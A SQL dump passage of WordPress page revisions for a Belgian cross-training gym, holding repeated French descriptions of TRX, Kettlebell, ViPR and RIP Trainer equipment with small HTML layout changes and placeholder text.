(59, 1, '2013-06-16 10:46:19', '2013-06-16 10:46:19', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;table style=\&quot;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;1\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;2\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;3\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;4\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;                 \r\n\r\n\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:46:19', '2013-06-16 10:46:19', '', 22, 'http://www.crosstrainingcenter.be/?p=59', 0, 'revision', '', 0),
(63, 1, '2013-06-16 10:53:44', '2013-06-16 10:53:44', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:53:44', '2013-06-16 10:53:44', '', 22, 'http://www.crosstrainingcenter.be/?p=63', 0, 'revision', '', 0),
(60, 1, '2013-06-16 10:48:24', '2013-06-16 10:48:24', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:48:24', '2013-06-16 10:48:24', '', 22, 'http://www.crosstrainingcenter.be/?p=60', 0, 'revision', '', 0),
(61, 1, '2013-06-16 10:49:30', '2013-06-16 10:49:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 20%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 80%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:49:30', '2013-06-16 10:49:30', '', 22, 'http://www.crosstrainingcenter.be/?p=61', 0, 'revision', '', 0),
(62, 1, '2013-06-16 10:49:53', '2013-06-16 10:49:53', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:1px;width: 20%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:1px;width: 80%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:49:53', '2013-06-16 10:49:53', '', 22, 'http://www.crosstrainingcenter.be/?p=62', 0, 'revision', '', 0),
(64, 1, '2013-06-16 10:55:17', '2013-06-16 10:55:17', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:55:17', '2013-06-16 10:55:17', '', 22, 'http://www.crosstrainingcenter.be/?p=64', 0, 'revision', '', 0),
(65, 1, '2013-06-16 10:57:04', '2013-06-16 10:57:04', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:57:04', '2013-06-16 10:57:04', '', 22, 'http://www.crosstrainingcenter.be/?p=65', 0, 'revision', '', 0);
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(66, 1, '2013-06-16 10:59:52', '2013-06-16 10:59:52', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:59:52', '2013-06-16 10:59:52', '', 22, 'http://www.crosstrainingcenter.be/?p=66', 0, 'revision', '', 0),
(67, 1, '2013-06-16 11:03:08', '2013-06-16 11:03:08', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;Kettlebel&lt;/h1&gt;Outil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;ViPR&lt;/h1&gt;Acronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
